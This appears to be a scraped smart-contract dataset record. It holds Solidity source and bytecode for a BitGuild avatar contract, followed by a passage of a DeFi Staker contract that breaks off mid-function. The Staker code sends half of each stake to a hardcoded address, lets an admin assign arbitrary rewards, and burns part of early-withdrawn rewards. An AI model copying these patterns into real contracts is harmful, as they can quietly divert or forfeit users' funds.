pragma solidity ^0.4.24; interface ERC721 /* is ERC165 */ { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) external view returns (address); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external; /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external; /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external; /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface AvatarService { function updateAvatarInfo(address _owner, uint256 _tokenId, string _name, uint256 _dna) external; function createAvatar(address _owner, string _name, uint256 _dna) external returns(uint256); function getMountTokenIds(address _owner,uint256 _tokenId, address _avatarItemAddress) external view returns(uint256[]); function getAvatarInfo(uint256 _tokenId) external view returns (string _name, uint256 _dna); function getOwnedTokenIds(address _owner) external view returns(uint256[] _tokenIds); } /** * @title BitGuildAccessAdmin * @dev Allow two roles: 'owner' or 'operator' * - owner: admin/superuser (e.g. with financial rights) * - operator: can update configurations */ contract BitGuildAccessAdmin { address public owner; address[] public operators; uint public MAX_OPS = 20; // Default maximum number of operators allowed mapping(address => bool) public isOperator; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); event OperatorAdded(address operator); event OperatorRemoved(address operator); // @dev The BitGuildAccessAdmin constructor: sets owner to the sender account constructor() public { owner = msg.sender; } // @dev Throws if called by any account other than the owner. modifier onlyOwner() { require(msg.sender == owner); _; } // @dev Throws if called by any non-operator account. Owner has all ops rights. modifier onlyOperator { require( isOperator[msg.sender] || msg.sender == owner, "Permission denied. Must be an operator or the owner."); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require( _newOwner != address(0), "Invalid new owner address." ); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } /** * @dev Allows the current owner or operators to add operators * @param _newOperator New operator address */ function addOperator(address _newOperator) public onlyOwner { require( _newOperator != address(0), "Invalid new operator address." ); // Make sure no dups require( !isOperator[_newOperator], "New operator exists." ); // Only allow so many ops require( operators.length < MAX_OPS, "Overflow." ); operators.push(_newOperator); isOperator[_newOperator] = true; emit OperatorAdded(_newOperator); } /** * @dev Allows the current owner or operators to remove operator * @param _operator Address of the operator to be removed */ function removeOperator(address _operator) public onlyOwner { // Make sure operators array is not empty require( operators.length > 0, "No operator." ); // Make sure the operator exists require( isOperator[_operator], "Not an operator." ); // Manual array manipulation: // - replace the _operator with last operator in array // - remove the last item from array address lastOperator = operators[operators.length - 1]; for (uint i = 0; i < operators.length; i++) { if (operators[i] == _operator) { operators[i] = lastOperator; } } operators.length -= 1; // remove the last element isOperator[_operator] = false; emit OperatorRemoved(_operator); } // @dev Remove ALL operators function removeAllOps() public onlyOwner { for (uint i = 0; i < operators.length; i++) { isOperator[operators[i]] = false; } operators.length = 0; } } contract AvatarOperator is BitGuildAccessAdmin { // every user can own avatar count uint8 public PER_USER_MAX_AVATAR_COUNT = 1; event AvatarCreateSuccess(address indexed _owner, uint256 tokenId); AvatarService internal avatarService; address internal avatarAddress; modifier nameValid(string _name){ bytes memory nameBytes = bytes(_name); require(nameBytes.length > 0); require(nameBytes.length < 16); for(uint8 i = 0; i < nameBytes.length; ++i) { uint8 asc = uint8(nameBytes[i]); require ( asc == 95 || (asc >= 48 && asc <= 57) || (asc >= 65 && asc <= 90) || (asc >= 97 && asc <= 122), "Invalid name"); } _; } function setMaxAvatarNumber(uint8 _maxNumber) external onlyOwner { PER_USER_MAX_AVATAR_COUNT = _maxNumber; } function injectAvatarService(address _addr) external onlyOwner { avatarService = AvatarService(_addr); avatarAddress = _addr; } function updateAvatarInfo(uint256 _tokenId, string _name, uint256 _dna) external nameValid(_name){ avatarService.updateAvatarInfo(msg.sender, _tokenId, _name, _dna); } function createAvatar(string _name, uint256 _dna) external nameValid(_name) returns (uint256 _tokenId){ require(ERC721(avatarAddress).balanceOf(msg.sender) < PER_USER_MAX_AVATAR_COUNT); _tokenId = avatarService.createAvatar(msg.sender, _name, _dna); emit AvatarCreateSuccess(msg.sender, _tokenId); } function getMountTokenIds(uint256 _tokenId, address _avatarItemAddress) external view returns(uint256[]){ return avatarService.getMountTokenIds(msg.sender, _tokenId, _avatarItemAddress); } function getAvatarInfo(uint256 _tokenId) external view returns (string _name, uint256 _dna) { return avatarService.getAvatarInfo(_tokenId); } function getOwnedTokenIds() external view returns(uint256[] _tokenIds) { return avatarService.getOwnedTokenIds(msg.sender); } }
0x6080604052600436106100cc5763ffffffff60e060020a60003504166334df8b6381146100d157806343a92f24146100fc57806343bd262e146101935780636d70f7ae146101b6578063786431c1146101eb5780638da5cb5b146102125780639870d7fe14610243578063a59799e614610264578063ac8a584a1461028b578063b0d8b51f146102ac578063bc14016b14610311578063d1d9331814610326578063e28d49061461034a578063e8ff269e14610362578063f2fde38b1461037d578063f4ffa7a91461039e575b600080fd5b3480156100dd57600080fd5b506100e66103c2565b6040805160ff9092168252519081900360200190f35b34801561010857600080fd5b506101146004356103cb565b6040518080602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561015757818101518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b34801561019f57600080fd5b506101b4600160a060020a03600435166104c3565b005b3480156101c257600080fd5b506101d7600160a060020a036004351661052d565b604080519115158252519081900360200190f35b3480156101f757600080fd5b50610200610542565b60408051918252519081900360200190f35b34801561021e57600080fd5b50610227610548565b60408051600160a060020a039092168252519081900360200190f35b34801561024f57600080fd5b506101b4600160a060020a0360043516610557565b34801561027057600080fd5b506101b4600480359060248035908101910135604435610740565b34801561029757600080fd5b506101b4600160a060020a036004351661096a565b3480156102b857600080fd5b506102c1610b6e565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102fd5781810151838201526020016102e5565b505050509050019250505060405180910390f35b34801561031d57600080fd5b506101b4610c6c565b34801561033257600080fd5b50610200602460048035828101929101359035610cf4565b34801561035657600080fd5b50610227600435611007565b34801561036e57600080fd5b506101b460ff6004351661102f565b34801561038957600080fd5b506101b4600160a060020a036004351661105c565b3480156103aa57600080fd5b506102c1600435600160a060020a036024351661113b565b60045460ff1681565b60606000600460019054906101000a9004600160a060020a0316600160a060020a03166343a92f24846040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b15801561042d57600080fd5b505af1158015610441573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561046a57600080fd5b81019080805164010000000081111561048257600080fd5b8201602081018481111561049557600080fd5b81516401000000008111828201871017156104af57600080fd5b505060209091015190945092505050915091565b600054600160a060020a031633146104da57600080fd5b6004805474ffffffffffffffffffffffffffffffffffffffff001916610100600160a060020a03939093169283021790556005805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b60036020526000908152604090205460ff1681565b60025481565b600054600160a060020a031681565b600054600160a060020a0316331461056e57600080fd5b600160a060020a03811615156105ce576040805160e560020a62461bcd02815260206004820152601d60248201527f496e76616c6964206e6577206f70657261746f7220616464726573732e000000604482015290519081900360640190fd5b600160a060020a03811660009081526003602052604090205460ff161561063f576040805160e560020a62461bcd02815260206004820152601460248201527f4e6577206f70657261746f72206578697374732e000000000000000000000000604482015290519081900360640190fd5b6002546001541061069a576040805160e560020a62461bcd02815260206004820152600960248201527f4f766572666c6f772e0000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038416908117909155600081815260036020908152604091829020805460ff19169094179093558051918252517fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d929181900390910190a150565b82828080601f01602080910402602001604051908101604052809392919081815260200183838082843750508451859450600093508392508210905061078557600080fd5b825160101161079357600080fd5b600091505b82518260ff1610156108a657828260ff168151811015156107b557fe5b01602001517f0100000000000000000000000000000000000000000000000000000000000000908190048102049050605f60ff82161480610809575060308160ff1610158015610809575060398160ff1611155b80610827575060418160ff16101580156108275750605a8160ff1611155b80610845575060618160ff16101580156108455750607a8160ff1611155b151561089b576040805160e560020a62461bcd02815260206004820152600c60248201527f496e76616c6964206e616d650000000000000000000000000000000000000000604482015290519081900360640190fd5b816001019150610798565b600460019054906101000a9004600160a060020a0316600160a060020a0316632de541e0338a8a8a8a6040518663ffffffff1660e060020a0281526004018086600160a060020a0316600160a060020a0316815260200185815260200180602001838152602001828103825285858281815260200192508082843782019150509650505050505050600060405180830381600087803b15801561094857600080fd5b505af115801561095c573d6000803e3d6000fd5b505050505050505050505050565b600080548190600160a060020a0316331461098457600080fd5b6001546000106109de576040805160e560020a62461bcd02815260206004820152600c60248201527f4e6f206f70657261746f722e0000000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03831660009081526003602052604090205460ff161515610a50576040805160e560020a62461bcd02815260206004820152601060248201527f4e6f7420616e206f70657261746f722e00000000000000000000000000000000604482015290519081900360640190fd5b600180546000198101908110610a6257fe5b6000918252602082200154600160a060020a0316925090505b600154811015610b005782600160a060020a0316600182815481101515610a9e57fe5b600091825260209091200154600160a060020a03161415610af85781600182815481101515610ac957fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055505b600101610a7b565b600180546000190190610b13908261124c565b50600160a060020a038316600081815260036020908152604091829020805460ff19169055815192835290517f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d9281900390910190a1505050565b60048054604080517f4fac7e41000000000000000000000000000000000000000000000000000000008152339381019390935251606092610100909204600160a060020a031691634fac7e4191602480830192600092919082900301818387803b158015610bdb57600080fd5b505af1158015610bef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610c1857600080fd5b810190808051640100000000811115610c3057600080fd5b82016020810184811115610c4357600080fd5b8151856020820283011164010000000082111715610c6057600080fd5b50909450505050505b90565b60008054600160a060020a03163314610c8457600080fd5b5060005b600154811015610ce357600060036000600184815481101515610ca757fe5b600091825260208083209190910154600160a060020a031683528201929092526040019020805460ff1916911515919091179055600101610c88565b6000610cf060018261124c565b5050565b600083838080601f016020809104026020016040519081016040528093929190818152602001838380828437505084518594506000935083925082109050610d3b57600080fd5b8251601011610d4957600080fd5b600091505b82518260ff161015610e5c57828260ff16815181101515610d6b57fe5b01602001517f0100000000000000000000000000000000000000000000000000000000000000908190048102049050605f60ff82161480610dbf575060308160ff1610158015610dbf575060398160ff1611155b80610ddd575060418160ff1610158015610ddd5750605a8160ff1611155b80610dfb575060618160ff1610158015610dfb5750607a8160ff1611155b1515610e51576040805160e560020a62461bcd02815260206004820152600c60248201527f496e76616c6964206e616d650000000000000000000000000000000000000000604482015290519081900360640190fd5b816001019150610d4e565b60048054600554604080517f70a0823100000000000000000000000000000000000000000000000000000000815233948101949094525160ff90921692600160a060020a03909116916370a08231916024808201926020929091908290030181600087803b158015610ecd57600080fd5b505af1158015610ee1573d6000803e3d6000fd5b505050506040513d6020811015610ef757600080fd5b505110610f0357600080fd5b600480546040517fc1f8056b00000000000000000000000000000000000000000000000000000000815233928101838152604482018a9052606060248301908152606483018c9052610100909304600160a060020a03169363c1f8056b9390928d928d928d92608401858580828437820191505095505050505050602060405180830381600087803b158015610f9857600080fd5b505af1158015610fac573d6000803e3d6000fd5b505050506040513d6020811015610fc257600080fd5b505160408051828152905191965033917f3ed007694d319430cbd9343d00b5fc088e164a8862c7d5e495f40d0cbae6847e9181900360200190a2505050509392505050565b600180548290811061101557fe5b600091825260209091200154600160a060020a0316905081565b600054600160a060020a0316331461104657600080fd5b6004805460ff191660ff92909216919091179055565b600054600160a060020a0316331461107357600080fd5b600160a060020a03811615156110d3576040805160e560020a62461bcd02815260206004820152601a60248201527f496e76616c6964206e6577206f776e657220616464726573732e000000000000604482015290519081900360640190fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60048054604080517f911cec25000000000000000000000000000000000000000000000000000000008152339381019390935260248301859052600160a060020a03848116604485015290516060936101009093049091169163911cec2591606480830192600092919082900301818387803b1580156111ba57600080fd5b505af11580156111ce573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156111f757600080fd5b81019080805164010000000081111561120f57600080fd5b8201602081018481111561122257600080fd5b815185602082028301116401000000008211171561123f57600080fd5b5090979650505050505050565b81548183558181111561127057600083815260209020611270918101908301611275565b505050565b610c6991905b8082111561128f576000815560010161127b565b50905600a165627a7a723058208836f72f3d8a3405730a7d0d1baa8e066ee361902f26dcbf81593233b8d93ca30029
{"success": true, "error": null, "results": {}}
1,215
0x292fe0fd528a4aa527b53afdc57111c642d9adaf
/** *Submitted for verification at Etherscan.io on 2020-11-17 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external; function burn(uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Uniswap{ function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getPair(address tokenA, address tokenB) external view returns (address pair); function WETH() external pure returns (address); } interface Pool{ function primary() external view returns (address); } contract Poolable{ // Address meant for early liquidity address payable internal constant _LiquidityProvider = 0xf19d8CFd69Fd847151B9415b46F7D07a7B9d870A; function primary() private view returns (address) { return Pool(_LiquidityProvider).primary(); } modifier onlyPrimary() { require(msg.sender == primary(), "Caller is not primary"); _; } } contract Staker is Poolable{ using SafeMath for uint256; using SafeERC20 for IERC20; uint constant internal DECIMAL = 10**18; uint constant public INF = 33136721748; uint private _rewardValue = 10**21; uint private _stakerRewardValue = 10**20; mapping (address => uint256) private internalTime; mapping (address => uint256) private LPTokenBalance; mapping (address => uint256) private rewards; mapping (address => uint256) private stakerInternalTime; mapping (address => uint256) private stakerTokenBalance; mapping (address => uint256) private stakerRewards; mapping (address => uint256) public timePooled_LP; mapping (address => uint256) public timePooled_Stake; address public l0cked; address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public WETHAddress = Uniswap(UNIROUTER).WETH(); bool private _unchangeable = false; bool private _tokenAddressGiven = false; bool public priceCapped = true; //First 10 mins uint public creationTime = now; receive() external payable { if(msg.sender != UNIROUTER){ stake(); } } function sendValue(address payable recipient, uint256 amount) internal { (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } //If true, no changes can be made function unchangeable() public view returns (bool){ return _unchangeable; } function rewardValue() public view returns (uint){ return _rewardValue; } //THE ONLY ADMIN FUNCTIONS vvvv //After this is called, no changes can be made function makeUnchangeable() public onlyPrimary{ _unchangeable = true; } //Can only be called once to set token address function setTokenAddress(address input) public onlyPrimary{ require(!_tokenAddressGiven, "Function was already called"); _tokenAddressGiven = true; l0cked = input; } //Set reward value that has high APY, can't be called if makeUnchangeable() was called function updateRewardValue(uint input) public onlyPrimary { require(!unchangeable(), "makeUnchangeable() function was already called"); _rewardValue = input; } //Cap token price at 1 eth, can't be called if makeUnchangeable() was called function capPrice(bool input) public onlyPrimary { require(!unchangeable(), "makeUnchangeable() function was already called"); priceCapped = input; } //THE ONLY ADMIN FUNCTIONS ^^^^ function sqrt(uint y) public pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function stake() public payable{ require(creationTime + 2 hours <= now, "It has not been 2 hours since contract creation yet"); address staker = msg.sender; address poolAddress = Uniswap(FACTORY).getPair(l0cked, WETHAddress); if(price() >= (1.05 * 10**18) && priceCapped){ uint t = IERC20(l0cked).balanceOf(poolAddress); //token in uniswap uint a = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint x = (sqrt(9*t*t + 3988000*a*t) - 1997*t)/1994; IERC20(l0cked).mint(address(this), x); address[] memory path = new address[](2); path[0] = l0cked; path[1] = WETHAddress; IERC20(l0cked).approve(UNIROUTER, x); Uniswap(UNIROUTER).swapExactTokensForETH(x, 1, path, _LiquidityProvider, INF); } sendValue(_LiquidityProvider, address(this).balance/2); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(l0cked).balanceOf(poolAddress); //token in uniswap uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount); IERC20(l0cked).mint(address(this), toMint); uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this)); uint amountTokenDesired = IERC20(l0cked).balanceOf(address(this)); IERC20(l0cked).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(l0cked, amountTokenDesired, 1, 1, address(this), INF); uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this)); uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore); rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker)); internalTime[staker] = now; timePooled_LP[staker] = now; LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot); } function withdrawRewardTokens(uint amount) public { rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender)); internalTime[msg.sender] = now; uint removeAmount = ethtimeCalc(amount); rewards[msg.sender] = rewards[msg.sender].sub(removeAmount); // TETHERED uint256 withdrawable = tetheredReward_LP(amount); IERC20(l0cked).mint(msg.sender, withdrawable); } function viewRecentRewardTokenAmount(address who) internal view returns (uint){ return (viewLPTokenAmount(who).mul( now.sub(internalTime[who]) )); } function viewRewardTokenAmount(address who) public view returns (uint){ return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who)) ); } function viewLPTokenAmount(address who) public view returns (uint){ return LPTokenBalance[who]; } function viewPooledEthAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(l0cked, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function viewPooledTokenAmount(address who) public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(l0cked, WETHAddress); uint tokenAmount = IERC20(l0cked).balanceOf(poolAddress); //token in uniswap return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply()); } function price() public view returns (uint){ address poolAddress = Uniswap(FACTORY).getPair(l0cked, WETHAddress); uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint tokenAmount = IERC20(l0cked).balanceOf(poolAddress); //token in uniswap return (DECIMAL.mul(ethAmount)).div(tokenAmount); } function ethEarnCalc(uint eth, uint time) public view returns(uint){ address poolAddress = Uniswap(FACTORY).getPair(l0cked, WETHAddress); uint totalEth = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap uint totalLP = IERC20(poolAddress).totalSupply(); uint LP = ((eth/2)*totalLP)/totalEth; return earnCalc(LP * time); } function earnCalc(uint LPTime) public view returns(uint){ return ( rewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL ); } function ethtimeCalc(uint tkn) internal view returns(uint){ return ( tkn.mul(31557600 * DECIMAL) ).div( rewardValue() ); } //Attribute LPV1 rewards, only during the first hour. function setLPrewards(address lp, uint reward) public onlyPrimary{ require(creationTime + 1 hours >= now, "Too late"); rewards[lp] = reward; } // Get amount of tethered rewards function tetheredReward_LP(uint256 _amount) public view returns (uint256) { if (now >= timePooled_LP[msg.sender] + 48 hours) { return _amount; } else { uint256 progress = now - timePooled_LP[msg.sender]; uint256 total = 48 hours; uint256 ratio = progress.mul(1e6).div(total); return _amount.mul(ratio).div(1e6); } } function tetheredReward_Stake(uint256 _amount) public view returns (uint256) { if (now >= timePooled_Stake[msg.sender] + 48 hours) { return _amount; } else { uint256 progress = now - timePooled_Stake[msg.sender]; uint256 total = 48 hours; uint256 ratio = progress.mul(1e6).div(total); return _amount.mul(ratio).div(1e6); } } function deposit(uint256 _amount) public { require(creationTime + 2 hours <= now, "It has not been 2 hours since contract creation yet"); address staker = msg.sender; IERC20(l0cked).safeTransferFrom(staker, address(this), _amount); stakerRewards[staker] = stakerRewards[staker].add(viewRecentStakerRewardTokenAmount(staker)); stakerInternalTime[staker] = now; timePooled_Stake[staker] = now; stakerTokenBalance[staker] = stakerTokenBalance[staker].add(_amount); } function withdraw(uint256 _amount) public { address staker = msg.sender; stakerRewards[staker] = stakerRewards[staker].add(viewRecentStakerRewardTokenAmount(staker)); stakerInternalTime[staker] = now; stakerTokenBalance[staker] = stakerTokenBalance[staker].sub(_amount); IERC20(l0cked).safeTransfer(staker, _amount); } function withdrawStakerRewardTokens(uint amount) public { address staker = msg.sender; stakerRewards[staker] = stakerRewards[staker].add(viewRecentStakerRewardTokenAmount(staker)); stakerInternalTime[staker] = now; uint removeAmount = stakerEthtimeCalc(amount); stakerRewards[staker] = stakerRewards[staker].sub(removeAmount); // TETHERED uint256 withdrawable = tetheredReward_Stake(amount); IERC20(l0cked).mint(staker, withdrawable); } function stakerRewardValue() public view returns (uint){ return _stakerRewardValue; } function viewRecentStakerRewardTokenAmount(address who) internal view returns (uint){ return (viewStakerTokenAmount(who).mul( now.sub(stakerInternalTime[who]) )); } function viewStakerTokenAmount(address who) public view returns (uint){ return stakerTokenBalance[who]; } function viewStakerRewardTokenAmount(address who) public view returns (uint){ return stakerEarnCalc( stakerRewards[who].add(viewRecentStakerRewardTokenAmount(who)) ); } function stakerEarnCalc(uint LPTime) public view returns(uint){ return ( stakerRewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL ); } function stakerEthtimeCalc(uint tkn) internal view returns(uint){ return ( 